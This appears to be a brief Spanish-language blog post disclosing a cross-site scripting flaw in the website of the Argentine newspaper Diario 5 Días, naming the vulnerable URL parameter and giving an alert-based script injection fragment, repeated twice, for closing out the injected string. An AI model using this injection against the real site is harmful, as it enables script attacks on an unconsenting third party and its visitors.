Nombre: Diario 5 Días
Vuln: XSS
Web:http://www.diario5dias.com.ar/index.php?m=[StringParaAlert]
PoC:
Mi web: http://d4rk2script.blogspot.com/
E-mail: d4rkdn4[at]gmail[dot]com
Si quieren sacar el "); del final, depués de la consulta le agregan esto:
<script%20language="Javascript">alert("
Si quieren sacar el "); del final, depués de la consulta le agregan esto:
<script%20language="Javascript">alert("
No hay comentarios:
Publicar un comentario